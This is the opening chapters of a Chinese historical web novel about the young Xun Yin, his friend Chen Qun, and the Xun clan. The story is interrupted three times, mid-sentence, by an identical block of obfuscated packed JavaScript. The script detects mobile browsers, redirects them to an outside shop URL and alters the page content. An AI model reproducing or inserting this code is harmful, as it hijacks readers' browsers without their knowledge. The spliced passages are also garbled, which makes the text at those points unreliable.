《[三国]谁在造谣我是权臣?》 1. 友人陈群 熹平元年 “咚——” “咚——” 繁茂枝叶间,几枚黄澄澄的杏子自枝头掉落,被树下一唇红齿白的小少年用竹筐接住。 他虽手脚利落地接住了每一枚杏子,面上却带着些焦急之色。 “足够了,足够了,你快些下来!” 男孩压低声音的呼唤声尚未落地,又有几枚杏子被人从枝头摇落,跌进竹筐。 “阿昭!” 小少年盯着树影下垂落的一片衣角,提心吊胆地左右看看,见无人来,提高了声音。 “荀愔!” 话音未落,树影之间探出一个身影,其人尚是总角之年,却生得风流俊秀,隐约可见几分如玉风姿,笑时一双桃花眼弯弯眯起,满带狡黠,不像是个士族郎君,倒有些像是山间跑出来偷摘果子的精怪。 荀愔笑问:“君何急也?” 树下叫做陈群的小郎君绷着脸道:“恐大人与敬慈公来此,君小命不保。” 陈群所说的大人便是其父亲陈纪,而敬慈公正是荀愔之父,颍川荀氏八龙之一的荀肃。因陈氏与荀氏素有通家之好,荀肃与陈纪亦是友人,所以荀肃在一月前带着自己的独子荀愔登门拜访,在此小住。 大人之间的友情为下一代的交往奠定了基础,荀愔便就这么与陈群结识,并很快把人家素来端庄自持的小郎君带歪,竟然忽悠得人来在他爬树时为他放风。 荀愔本想把这郎君一并忽悠上树,但无奈这素有聪慧之名的陈小郎君于五经六艺上驾轻就熟,却怎么都学不会爬树,即便有他带着拖着,也只能抱着树干干瞪眼,便只好退而求其次,让他在树下接杏子。 见那竹筐底部已经积了一层澄澄的圆果,陈群又一副生怕被长辈发现的样子,荀愔也不再挑战小伙伴的神经,依言下树,他只是一纵一蹬,陈群还来不及看清楚他的动作,人就已经站在了树下。除了衣角处绣线被树皮勾起,鬓发间有几片枯叶之外,竟全然看不出他上一秒还跟只猴子一样趴在树上。 “你这到底是爬了多少次啊。”陈群嘟囔着,把竹筐交给荀愔,领他到井水旁边,取水来洗杏。 陈家的杏树乃是太丘公年轻时所植,至今已有几十年树龄,所结出的杏子却依旧甘甜可口,常被陈家人分给左右邻居,有人登门时,也常拿来待客。 陈氏虽是颍川名门,却一向清贫,连家中仆妇都少见,陈太丘出行之时,身边驾车侍奉的都是自己的儿子,年轻时拜访友人荀淑,因此得了个“真人东行”的美谈。 如今陈太丘虽然去世,但其家中儿孙依旧秉持着简朴家风,陈群提桶打水时也是一副做惯了此类活计的样子,不过十一二岁,提起满满一大桶井水时下盘稳得出奇。 洗过杏子,两人并没有立即分食,而是取来器具,将杏子盛放进去,捧着入内室请长辈先食。 荀肃是个多了解幼子的人,眼睛一扫便发觉了儿子衣角处的毛躁,当即眉头一皱,故意问道。 “这杏子是哪里来的?” 荀愔眨眼:“杏树上来的。” 荀肃有些好笑,却又必须撑着严肃的外表继续问。 “我自然知道是杏树上来的,我是问你,是谁采的?” 荀愔:“人手采的。” 陈群别过脸,生怕自己一个不小心失礼笑出来。 荀肃目露无奈,看他良久,虽不言语,但目光之中威慑满满,直看得荀愔低下头来。 “好吧。”他小声道,“是我上树采的。” 陈纪本含笑看着这对父子斗法,闻言看向陈群,见儿子一副默认的模样,神色一肃。 “阿群,这便是你的待客之道吗?” 陈群闻言立刻一拜,知道这事在父亲这儿不好过去,于是干脆认错:“儿知错。” 荀愔见此,也立即拜伏在地。 “元方公明鉴,此事是愔一人所为,兄长多次劝说,是愔不听,一意孤行,与兄长无干。” 陈纪见此倒是缓和了神色,又见荀肃将装果子的陶盘往自己这处推了推,显而易见不打算追究,便挥了挥手,让两个孩子下去。 这只是一件小事,陈群起身时却好像有几分不豫,荀愔敏锐地觉察了这一点,想了想,膝行到陈纪身前,弯起笑眸,道:“叔父待侄儿向来宽厚,今日愔虽行事不妥,可已知错,敢请叔父赐果,也好让侄儿尝一尝君家佳果之味?” 总角少年继承了荀氏一贯的好颜色,与他舒朗潇肃,温文尔雅的父亲不同,荀愔生得眉眼昳丽,唇红齿白,笑时如桃花春水,让人很难不生出好感。 荀肃见他如此,叹了一口气,简直不忍卒看。 他有时真的不明白,为什么自己一个标准的体面士人,会有这么一个厚脸皮的滚刀肉儿子。 陈纪却是笑了,伸手抚了抚荀愔的发髻,对荀肃道:“我家有佳果,君家有佳儿。” 厚脸皮怎么了,关键是他这脸皮厚得合时宜,厚得讨喜,是瞧准了长辈们心慈,不会驳他的脸面,所以讨巧卖乖来了。 陈纪大方地将一盘杏子都给了荀愔,但荀愔却不敢全收下,只取了三五枚,便行礼退下去追陈群去了。 “阿兄,阿兄!” 荀愔用干净的帕子兜着杏子跑到陈群身边,见他眉眼之间仍带着几分豫色,却不是针对他,而是有些自责的模样,于是把一枚杏子凑到陈群唇边,趁他不备,塞进他嘴里。 “为什么不快嘛,刚才大人们又没真责怪阿兄。” 陈群咬了一口,觉得很甜,便缓和了神色,片刻后对荀愔认真道:“是我不对,我该反省的。我比你年长,应当负起兄长的责任,而不是随你胡闹。” 荀愔的笑有点僵,底气不足道:“怎么就是胡闹了,明明乡中少年孩童都会这个。况且此事是我缠着你做的,错在我一人,哪里能只因年龄之差而归罪兄长头上。” 陈群却没被说服,仍旧认真检讨:“君子求诸己。我若连自持自省都做不到,如何能以士人之身与人交往。” 荀愔吃了一口杏子:“‘躬自厚而薄责他人’,此圣人言,阿兄得之甚深。” 被他这么夸,陈群有些好不意思地低下头,冷不防又被塞了一枚杏子,抬头去看,却见荀愔笑眯眯地看他,下一刻不知他哪里来的力气,竟然将他拉起飞奔向外,活泼肆意地宛如一匹脱缰小马。 “过错难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412172|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追,只能弥补一二。为了向叔父表示歉意,我们去钓鱼,去钓鱼!” 荀肃的访友之行在最后一批杏子成熟之时结束,他半拖半拽着儿子登车,这孩子一副不舍好友的模样,扒着车门不肯入内,挥舞着巾帕对陈群呼喊。 “阿群兄长不要忘记愔!” 陈群又是不舍,又是羞恼,一时简直想找个地缝钻进去。 为什么荀愔这家伙能表现得像是小媳妇离家一样啊,像是余生都不见面了似的。陈纪在后看得好笑,推推儿子,让他上前和荀愔说几句话。 “去吧去吧,下次见面也许是明年了。” 陈群难得违逆大人的话,别扭着不肯到车边,荀愔见此知道逗得过了,收起戏精本质,在车上对来送的陈家人揖了一礼,便钻回车里,驾车起行。 车渐渐远了,陈群仿佛才从羞恼之中反应过来,有些茫然地往前追了几步,被陈纪拍了拍肩才恍然去看他。 “大人,我是不是……”是不是不该那样冷淡? 虽然同在颍川一郡,但陈氏在许县,荀氏在颍阴,其间确实有不短距离,见一面不容易的。 陈纪笑了:“你们才多大,以后日子长着,哪怕这点分别。” 陈氏父子在这边父慈子孝,一片和乐,荀肃的车上却是另一幅景象。 “欺负你陈家阿兄算什么本事,怎么不见你去招惹族中的兄长们?” 荀愔乖巧一笑,面上温良,说出的话也理直气壮:“那当然是因为欺负不了,还反会被欺负啊。” 荀肃头疼,点了点他的眉心。 “回去检查你的功课。”说罢又补充,“你去你仲豫大兄那里听《易》。” 仲豫便是荀氏族中荀愔一辈的长兄荀悦,业已成婚生子,于经学之上颇有建树,对待底下的弟弟们的学业十分严格。荀愔对这个兄长一向敬重,不敢在他面前胡闹,闻言便有些郁闷,不愧是大人,最知道怎么拿捏他的软肋。 车行进不快,此时正是夏季,沿途粟麦青青,偶有清风吹来,带着些泥土的气息,荀愔被吹得熏熏然,不多时竟然多了几分困意,眼睛也睁不开了。 “大人。”他软软叫了一声,小猪一样拱进荀肃的怀里,他衣饰上的淡淡檀香扑鼻而来,带着安心的意味。 “睡吧。”荀肃轻抚着孩子的背,神情柔和下来,“睡一觉,咱们就回家了。” 荀愔这一觉睡得有些不安稳,睡梦之中似乎有什么东西沉沉地压下来,像绢布一样一层一层将他笼罩住,束缚住他的手脚,遮蔽住他的感官,让他在黑暗之中动弹不得。 “哗啦——哗啦——” 像是潮水声在慢慢临近,漫过了脚踝,胸腹,口鼻,将要没过头顶时,他突然听见有谁在絮语。 “……主此盛德兮,牵于俗而芜秽。上无考此盛德兮,长离殃而愁苦。” “兵者,凶也……若有果报,施于我身……” “苍天已死,黄天当立!汉……已尽,时日曷丧,时日曷丧!“ 鼓鸣一样的心响仿佛近在耳边,有种神魂都要随着心脏跳出喉咙的感觉,荀愔能感到自己的太阳穴在一鼓一鼓地跳动,心律仿佛慢慢失衡。 2. 分发杏子 有神经嗡鸣在耳边响起,越来越响,越来越尖锐,在荀愔茫然失措,觉得自己可能就要不明不白一觉睡死过去的时候,突然听见了一道熟悉的声音。 “……乃颍阴荀氏荀敬慈,携我儿荀愔归家,望行方便,事后荀氏必然有谢。” 车外朦朦胧胧响起几声惊呼。 “是荀氏敬慈先生!” “是我等无眼,冒犯荀氏,还请长者千万莫怪,还不让开!” “快退开!” 荀愔突然睁眼,从梦境中挣脱后的第一反应便是起身去摸车中竹席下的匕首,然而却被荀肃一把抱住,搂在怀里安抚。 “好了,没事了阿昭,没事了……” 冷汗将荀愔的额发都浸湿了,他唇色发绀,手指还在神经性颤抖,然而眼神却已经清明。 “大人,是……”是流兵山匪吗? 颍川虽是富庶之地,但近年来天灾频频,确实有不少人家因此丧家,不得以进山谋生,山道上也多了拦车劫财的贼寇。 荀肃完全顾不得刚刚的险境,捏住荀愔的手腕去探他的脉搏,发觉他脉息紊乱,似乎仍旧没有脱离凶险突来的急症。 “是吹了风吗?怎么会这样。” 荀肃不是擅医的人,只是因为“父母唯其疾之忧”的缘故粗读过几本医书,摸脉只能摸出不妥,却说不出是哪里不妥。 他是眼睁睁看着怀中的孩子突发急症,浑身抽搐的,心都因此凉了半截,然而当时身处山道,四周既无人烟也无行路商队,无论如何寻不到医工,只能催着仆从驾车走山野捷径,却不想因此路遇了流匪。 好在荀愔及时醒来,好在流匪忌惮荀氏名声,不敢加害,不然后果难以想象。 “阿昭可有觉得哪里不适?” 荀愔摇摇头,要说不适,只是在梦里,醒来之后便慢慢好些了。 荀肃尤且不能放心,将荀愔上上下下打量了好一遍。 “我无事,大人。” “还困吗?回家再休息,路上不要再睡过去了。” 荀愔乖巧点头:“好,都听大人的。” 荀氏居住的乡旧称西豪里,前任颍阴令在任时因昔日高阳氏有才人八子,而今荀氏亦有八龙而更名高阳里。 自汉桓帝在位时便发起的党锢之祸虽然断绝了荀氏等一干士族的仕途,但却断绝不了他们的贤名,亦无法阻拦他们在地方上增长名望。山道上的流匪尚且会因为敬重荀氏声名而选择放弃劫掠,甚至护送他们的马车走出那片贼人出没的地界,更不必提普通乡人,他们心中对荀氏的尊敬之意只会更甚。 心里漫无边际地想着些什么,荀愔终于在一场稍显漫长的路途之后看见了熟悉的景色,树、鸟、山、花,乃至熟悉的农田,一切都在提醒他,快到家了。 平日里不觉得有什么,然而外出一场才知道,纵使外面再好,能予人心安的还是这些平日里不放在心上的寻常事物。 看见一路上神态恹恹的孩子此时表情灵动起来,荀肃自他发病后便提起的心稍稍安定,笑问他:“出门一次,可有为家中兄弟侄儿准备什么礼物?” 荀愔过往也常随他出外访友,不知道是学了谁的习惯,自懂事之后便颇有孝悌,每每去到陌生地方,总要为家中未出门的兄弟带上些当地特色,有时是吃食,有时不过是些草编竹编,价值虽然不高,但赤子之心难得。 荀肃从前不管他这些,这次也没留意,只是想起他在陈氏的这些时日过得潇洒,和陈氏子日日待在一处,或许会遗忘这件事,所以提上一句。 荀愔虽然得了新的伙伴,却也不可能真忘了家中兄弟,闻言从车中的角落里翻出一只木盒,打开让荀肃看。 “是杏子和杏干哦。” 荀肃笑了:“又是吃食啊。” 从陈家树上采摘下的杏子尚且新鲜,散发着甜蜜的水果芬芳。 “只有一盒吗?够分吗?” 荀愔掰着手指算家中兄弟:“仲豫大兄那里有侄儿,需得给一人一枚,休若阿兄新得一子,可予他三枚,友若阿兄也要两枚,怀琛阿兄尚未成亲,可给一枚……“ 荀肃含笑看着儿子絮絮叨叨,把那一盒果子安排了个明明白白。 “你是不是把你陈叔父家里的杏树都薅光了啊。” “哪有。”荀愔不满,“我又不是土匪,哪里会做这样的事……” 父子二人闲话时,马车不断行进,远远的已经可以看到高阳里的里门,里门之下正站着两位少年,虽年岁不同,却俱是风姿绰约,荀愔没有多分辨,只一眼便认出了人,笑了起来。 “大人,是友若阿兄和公达。” 因为早早听闻荀肃要在近几日归家,荀氏族中派了两名子弟来接人,荀友若名谌,是荀肃兄长荀绲之子,而荀公达名攸,虽比荀愔年长,辈分上却是荀愔的侄子,两人显而易见在此等候了许久,却并没有显露出什么焦躁不耐,反而颇显从容。 车到了近前,荀愔为荀肃卷帘,侍奉大人下车,那两位荀氏子弟见此上前行礼,又以旅途劳累为由劝荀肃回车。 荀愔落后荀肃一步,先对荀谌行了一礼,抬头时却没有绷住笑意,毫不羞涩地凑上前去,挨到荀谌和荀攸两人中间,一手抓住一人,直接问道:“月余不见,阿兄和公达想我吗?” 荀谌露出无奈之色,转过头去,故意不回答堂弟这个幼稚的问题,荀愔却毫不生气,转而又问荀攸:“公达想我吗?想我吗?”竟是一定要他们给出个答案来。 荀谌起了坏心,故意问:“若我说不想呢?” 荀愔果断:“我不信。” 荀攸便笑了,微微侧身,回握住荀愔的手:“叔父不想小叔父,但我想。”话音一落,果见荀愔笑得更开了,像只小兽一样蹭了蹭他,热情道:“我最喜欢公达了!” 荀攸也不过束发之年,比荀愔大不了几岁,但或许是年幼失怙的缘故,行事一向持重,少言语,比一团孩子气的荀愔稳重不知多少,他见为荀肃驾车的老仆年老,精神不济,便主动提出要为叔祖和叔父驾车。 荀肃并未多想,爽快的应允下来,但荀谌却神色微变,似乎有些犹疑。 “我来吧,公达,要不然我来吧。” “岂能劳动叔父。” 时间已经不早,荀愔见二人还要推拒,他一向是个干脆的性子,便拉了拉荀谌的衣袖。 “公达既然想驾车便让他去,阿兄不要争了,再争太阳要落山了。” 荀谌看了一眼天真不知世事险恶的弟弟,又看了一眼老神在在的叔父,只好依言坐到车上,语气幽幽地对荀愔道:“阿昭,你根本不知道自己在做什么。” 荀愔歪头打出个“?” 他的疑惑没能持续多久,很快便得到了解答。 马车突然一动,把车中众人惊了一跳,纷纷后仰倒地之后,这辆从许县到颍阴一路上都行驶平稳地如同老狗一般的马车便瞬间化为野狗,离弦之箭一样冲了出去。 风声呼啸而过,车外景色飞逝,被远远甩在后面,荀愔勉强稳定住身形,下一刻又因为车轮磕过石子颠倒在地。 他惊恐地看向荀谌,这就是他不让公达驾车的缘故吗? 荀谌一手拉住荀肃,一手扶住车壁,沉痛地点了点头。 这不应当,荀愔想,这样的车技……不能说荀攸的车技不好,毕竟他控马控得十分精准,连车辙都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412173|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔直的,但他们坐的又不是战车! 不是战场上往敌方冲击的战车! “太快了!公达,慢一些!”荀谌往车外呼喊。 但风声太大了,荀攸没能听清。 “什么?太慢了?” 荀谌在那一刻感受到了什么叫做绝望。 “不——不是!” 原本要三刻钟才能走完的路硬生生被缩短到了一刻钟,荀愔下车时还有些恍惚,似乎还没从风驰电掣之中回过神来,再看自己的好侄儿时眼神便复杂很多。 荀公达,一款天生的驭手,这样的人才若放到春秋战国,诸国交战还以战车为主要工具的时代,他这样的人才大抵可以官拜上卿,但是……但是…… 怎么能这样啊,荀愔不着痕迹地摸了摸屁股。 颠得他好痛! 虽然路途上多了几分子侄带来的曲折,但荀肃还没忘记幼子的病,回家之后第一时间为他寻来医工,却得到了一个令人失望的答案。 并不是荀愔身患顽疾,而是医工靠把脉没有发现任何病症。 “不可能。”荀肃难得疾言厉色,“我是亲眼看到他发病,如何会没有表征?” 那位医工自然信任荀肃的判断,但无奈没有就是没有,只能道:“非是我不尽心,但或许是我医术不精,才没能发现小公子的病症,敬慈公或可请其他医家来为公子诊脉。” 言已至此,荀肃也只能让人送他离开,再看已经表现得与常人无异的幼子,见他丝毫不为此担忧,只能叹一句孩子尚小,还不明白此事的严重性,摆手放他出去串门去了。 荀愔虽然平日里就喜欢到兄长们家中玩耍,但这次却是为了正事,起码是他眼中的正事。 他要分发杏子啦。 “是太丘公亲手所植的杏树结出的杏子哦。”荀愔对他居住在里北,温柔的荀悦大兄强调,“是沾染了太丘公高尚品德,沐浴着陈氏高洁节操结出的杏子。” 荀悦摸了摸他的总角发髻,虽然觉得好笑,但仍是认真道谢:“谢谢阿昭。” 拜访大兄之后便是排行在后的其他兄长和关系稍远些的亲长,荀愔一家一家走过去,分发到族兄荀衢家时,因马车之故对荀攸这个大侄子难得生出些怨气,却在低头迟疑之后,还是把盒中最大的那枚给了他。 虽然没人对荀攸说什么,但他似乎也觉察出了不妥,见素来直来直往的小叔父并未因此迁怒,倒有些心软,双手接过那枚杏子之后道:“谢谢阿昭叔父。“ “不要叫我阿昭叔父。”阿昭是他的乳名,素来只有亲近之人和长辈们会叫,荀攸这么叫他总让他觉得他在逗弄他,一点都不庄重! 荀愔比荀攸矮一个头,对他说话时还需仰头:“太怪了,公达侄儿。” 荀攸于是笑了:“真的很怪吗?那阿愔叔父?“ 荀愔想了想,还是怪怪的,但又一时找不到更合适的称谓,毕竟荀攸这辈分太过于吃亏,他叫一声“叔父”,族中能有几十个人站出来,不加个前缀确实不好区分。 算啦,荀愔很想得开,既然如此就不纠结了,他潇洒地冲荀攸摆摆手,抱着木盒就跑远了。 荀攸看着那孩子跑远,低头摸了摸雀卵大小的杏子,觉得心意可贵,便没有立即食用,转身进了内室。 内室之中,荀衢亲子荀祈正坐在窗边读书,面前也摆着几枚杏子,见荀攸进来,皱眉道:“这么寒酸的礼物,亏得他要这么巴巴地四处发送。” 荀攸原本带笑的眼因这话失了笑意,在荀祈对面坐下。 “这是阿昭的心意,钱财易取,心意难得。” 荀祈哼了一声,拾起一枚杏子塞进嘴里,没再多言。 3. 大节小节 荀愔派送到荀谌、荀衍家中时,先去拜见了几位伯父,在那里受了好一番询问,从荀肃身体如何,许县见闻如何问到此次归家路遇山匪一事,他认真一一答了,才被放出来去见兄长。 荀氏聚族而居,上面的长辈只要还在,做儿子的即便成了婚也依旧会与父母居住在一起,荀衍、荀谌两人便是如此,荀愔在荀衍房中见到了新生不久的小侄儿,看了许久也不敢伸手触碰。 荀衍的妻子邹沅对这个精致漂亮得像春日桃花一样的小叔素有好感,谁能不喜欢漂亮的孩子呢? 见他如此小心翼翼,她出言宽慰。 “摸了摸他吧,没有那么脆弱。” “不,还是不要了。”荀愔摇摇头,“我刚从外面进来,接触过许多人,身上或许不干净。” 邹沅看了看衣衫严整的荀愔,没看出他有哪处脏污,有些迷惑,但既然他都这么说了,便也没有多劝。 殊不知荀愔还在思考一个突然在他脑海中出现的念头——他接触了很多人,这会儿身上或许携带病菌,嗯,病菌是什么东西? 荀愔想了许久也想不出自己是从哪里看到的这个概念,他平日里常去几位兄长那里借书,读书读得颇杂,一时竟也想不出是从哪里读到的了,纠结片刻不得门路,只好暂且放下。 室内婴孩咿咿呀呀,室外也传来了孩童的脚步声,荀愔听见声音,回身看去,果然看见一个年约八九岁的稚嫩孩童抱书走来,看见荀愔也在时愣了愣,像是没想到他也在此,但很快反应过来,前趋几步行礼问安。 “阿兄,嫂嫂。” 那孩子脸上还带些婴儿肥,低眉时眉眼柔和,却不掩其神仪明秀,以邹沅看来,两人不在一处时,只会觉得他们因血缘关系相貌有所相似,待在一处时,却更能发觉那是两种不同风格的长相。 阿愔稍长一些,已能看出日后明光璀璨,昳丽无匹,而阿彧却没有那么富有攻击性,纯然的君子之姿,经霜更绝,遇雪尤清。 哎呀,荀氏真是多出美人,她暗想。 荀愔看向荀彧时已不自觉地带上了三分笑意,招手让他坐到自己身边,从袖中摸出了一只小布囊。 “给。” 荀彧在放下竹书接布囊还是抱着竹书接布囊之间犹豫了一会儿,怀中的书简便被荀愔拿走。 好吧,他解开布囊,果然在其中看到了熟悉的东西——糖块。 这时蜜糖难得,甜菜尚未传入中原,人工养蜂刚刚起步,没能得到大规模推广,蜂蜜还是世家贵族的餐桌上才能看见的精贵事物,甜味的最主要来源便是所谓的石蜜,即蔗糖。 荀彧不知道荀愔是怎么养成但凡出行,便要给他带糖的习惯,或许是自己小时候向阿兄讨要过?这么想着,他拈了一块放进嘴里,觉得这次的滋味有些不同,便流露出几分诧异。 “杏子汁,里面加了杏子汁。”荀愔解释了一句,低头展开荀彧带来的书简,看到其中内容时眉目稍动,有些后悔打开了。 是《易》,他家大人说要送他去仲豫大兄那里学的《易》。 《易》是荀氏家传之一,无论是荀愔伯父荀爽还是同辈大兄荀悦都于此道颇有造诣,荀爽创立了乾升坤降说,荀悦研究方向稍有不同,致力于以易经解史,这样的学术氛围之下,家中其他子弟自然要紧随其后,以避免堕落家声。 但这不是让一个人生观、世界观都还没有形成的孩童学《易》的理由。 “是我想看。”荀彧解释,说话时因为嘴里还含着糖块,所以声音有些模糊不清。 荀愔没问他能否看懂,这在一个人均学霸的家族之中是个没有意义的问题,这样想着,他又不免疑惑,学霸是什么?最近为什么总会冒出连自己都不解其意的词? 荀愔在荀衍家待了许久都没有看见他,听说是访友之后在友人家中留宿,便留下杏子之后归家去了。 夏日蝉鸣扰人,蚊虫也多,每每入睡之后,总是不能够睡到自然醒,不是因天热醒转,就是被蝉鸣吵醒,故而荀愔不喜欢夏日。 但刚从邻里访友归来的荀衍送了他一只小陶碗,说不久就会开出荷花来。 荀愔对此抱有疑虑,他是见过荷花的,一支完全开放的花朵就有他两只手大,更不用提硕大如盆的荷叶和成人胳膊粗细的藕,这样的小的一只碗怎么可能装得下。 但荀衍与荀谌不同,他不会说谎逗弄孩子,既然说会开出花,那么荀愔也就暂且相信,将其放到了窗台上,定时更换清水,每日去仲豫大兄那里读书前总要看上一眼。 如此看了一个月,竟然真的看到了碗底淤泥里冒出的细细荷叶尖。 “哇——” 荀愔小心地将陶碗从窗台上捧下,先去了荀肃那里,献宝一样地给他看。 荀肃看了一眼,不由得失笑,也不必他解释就认出了是什么。 “碗莲啊,休若素来喜欢侍弄这些花草。” 荀愔见他并不为此惊异,不由得有些泄气,原来是自己大惊小怪吗? “待到开花,可以拿去与孩子们赏玩。族中也不是人人都见过的。” 荀愔点点头,将陶碗好好地放了回去,并且特意挑了一个可以长时间接受光照的地方,便去荀悦那里读书去了。 荀悦虽说负责教导族中子弟,在学业也要求严格,但并不严苛,荀愔每日只需要抽出两个时辰去读书,剩下的时间便可用来做其他的事,因为夏日炎热,他便不常出门,活动范围缩小到了方圆五十米的小小地界,每日或是读书,或是同其他兄弟待在一处。 荀肃虽名为肃,本人却并不严肃,反而待小辈们很是慈和,这样一个人自然也不会过多的拘束儿子。他虽然也觉得荀愔跳脱,但对他一向放心,荀愔不是没有自控能力的孩子,更无需大人日日盯着,正因他这种宽松态度,所以在接到几位兄长的邀请,让他携子去赴宴时,一时还真不知道该去哪里寻荀愔。 “书房、友若那里都看过了,他不在。”荀衍找了一圈不见人影,只能无奈地回复。 荀绲看了一眼弟弟:“敬慈,虽说家里不严格拘束子弟,但你如此也有些不负责了。” 荀肃只能苦笑:“不是我不管他,实在是巧,他平日也不这样。“ 兄弟之中排行最末的荀旉想了想,问道:”是不是在公达那里,阿昭与公达一向相善。“ 荀谌:“也找过了,衢兄长说一整日都没见到他。” “那倒是奇怪了。”荀旉喃喃,片刻后又问兄长,“七兄真的确定那孩子没有出门?” “日头晒人,他不会出门的。” 荀肃只是不严格管束,却并不是完全放养,对于自己的儿子他还是了解的。 荀绲对荀衍道:“出去喊一喊,或许是在哪个角落忘了时间。” 荀衍点头,然而还未转身,便被荀彧叫住。 “我也跟着去,或许我知道阿兄在哪儿。” 荀彧这话却并非托大,他的确有所猜测,领着荀衍一路走过去,特意在院中的每一棵树上都留意几分,终于在找到院墙外一棵枝繁叶茂的树时听见了些许碎响。 “唰——唰——” 薄如蝉翼的碎屑从树上飘荡着跌落,荀彧抬头望去,正瞧见树干之中,荀愔两足垂落,正低头削着什么。 “阿兄。” 荀彧轻轻唤他,这声音伴着簌簌的树叶声传入荀愔耳中,让他自然而然循声垂目看来,因着居高临下,又面无表情,竟然让人生出几分疏远的畏惧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412174|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但这种感觉在下一秒就被打破,见到是荀彧叫他,荀愔未语先笑,潋滟的桃花眼弯成了月牙。 “怎么寻到这里来了?” 不等荀彧回答,他先将手中的东西放在一旁,说了一声“等着”,便手脚轻盈的从树上滑了下来,回身时猝不及防对上了一双属于荀衍的眼睛。 荀衍没什么情绪地盯着这个弟弟,殊不知他这副样子比气怒时更令人感到畏惧。 荀愔:“……” 坏了,有种不祥的预感。 荀愔被荀衍揪着来到宴上之后第一时间先跪地认错。 “荀愔顽劣,让诸位尊长担忧了。” 荀氏八龙之中的长兄荀俭已经去世,行二的荀绲便是如今辈分最长的长辈,他见荀愔认错认得干脆利落,看了荀肃一眼,发现他没什么表示,一副任由兄长做主的样子,便也无心多申斥,摆摆手让他先入席。 这场是家宴,列席的也俱是族中兄弟亲长,荀愔便刻意挑了个与荀衍邻近的位置,趁着尚未开宴厚脸皮凑过去。 “休若阿兄生气了?” 荀衍瞥了他一眼,不想理会他。 荀愔想了想,问:“我不该不与大人说明去向?” “还有呢?” “不该失了士人仪态,垂足而坐?” “还有呢?” “身体发肤受之父母,不该坐于树上,身处险境?” 荀衍将耳杯一搁,发出一声轻响。 “你这不是很清楚吗?知道却不改?” 荀愔想了想才道:“我认为,除却第三条,都是小节。” 荀衍对这个弟弟实在没辙,聪慧是有的,进退也是有的,认错的勇气乃至担当也是有的,但总要闹出些和别人不一样的东西来。 “临大节而不夺是为君子,可你这个年纪,轮得到你临危保全大节吗?” 所谓大节,托六尺之孤,寄百里之命,处帝位废置时保全国家无亏,他够得上哪一条?这么个小不点,够谁塞牙缝吗? 想到此处,荀衍又不由得有所泄气,所谓大节,以如今党锢形势,整个荀氏怕与其都没什么关系。以几位叔伯的声名才能尚且无法获得朝廷开释,他们又能如何?养望,无尽头的养望罢了。 荀愔觉察到几分荀衍的心绪,注视他片刻后收回目光,不期然与另一双眼睛对上。 是荀彧。 尚且年幼的总角孩童有着一双清澈洞明的眼睛,仿佛一片能映射一切的镜子。荀愔只与他对视一眼便收回目光,笑着提起另一个话题。 “糖吃完了吗?” 荀彧无奈,低头解下布囊,展示给他看。 “没有,我没有那么贪嘴的。” “哦。”荀愔接过看了一眼,然后送到荀衍眼前,“兄长,阿彧说他请你吃糖。” 荀衍:“……” 荀彧:“……” 荀衍看荀愔的目光一言难尽,离得这么近,他又不是聋子,他听得见! 荀愔问:“真的不吃吗?吃糖会让人心情好一点。” 荀衍坚定拒绝了,他都是成家生子的人了,哪里还能和幼弟抢糖吃。 于是荀愔在荀彧欲言又止的目光中自己拈了一颗放进了嘴里,满意地叹了一声:“不愧是我,杏浆的比例刚刚好。” 荀彧疑惑看他将布囊重新挂回自己腰上,才开口问:“这糖是兄长做的?” “一半,我只出了主意。”荀愔说,出力的是远在许县的倒霉友人陈群,但这就不必对弟弟说明了,“等到秋梨下来,我们再做梨子糖。” 荀愔做下了这个承诺,眼角瞥见一个熟悉的人影从外间走进来,行到自己身后,低声唤了一声:“小郎君。” 4. 嘉鱼宴乐 大概是因为刚从药炉旁离开,这老仆身上还带着一股酸苦的药味,想到喝药这件事,荀愔本来还算不错的心情骤然糟糕起来。 “小郎君。”那老仆又叫了他一声,荀愔不能装听不见,只好悄然离席,随他往外间去。 荀衍已经与身边的兄弟交谈起来,留意到这一幕的只有因为年岁尚小,既不能与兄弟喝酒,也掺和不进大人之间话题的荀彧。 孩子的鼻子对气味很敏感,更不用提日后会把调香作为一以贯之的兴趣爱好,留下荀令香之说的荀彧,若没有灵敏的嗅觉,也无法分辨出各种因产地、雨水、气候原因产生微妙变化的香料,精准地合出怡人的芬芳。 思及那股明显的药味,荀彧若有所思,是生病了吗? 荀愔随老仆来到廊下,看见了一碗黑苦到歹毒的汤药。 都不用亲口品尝,只需闻到这味道,荀愔就可以轻而易举地回忆起这汤药的滋味,并戴上了痛苦面具。 老仆提醒他:“汤药温度适宜,郎君尽快喝了吧,再凉要失了药性了。” 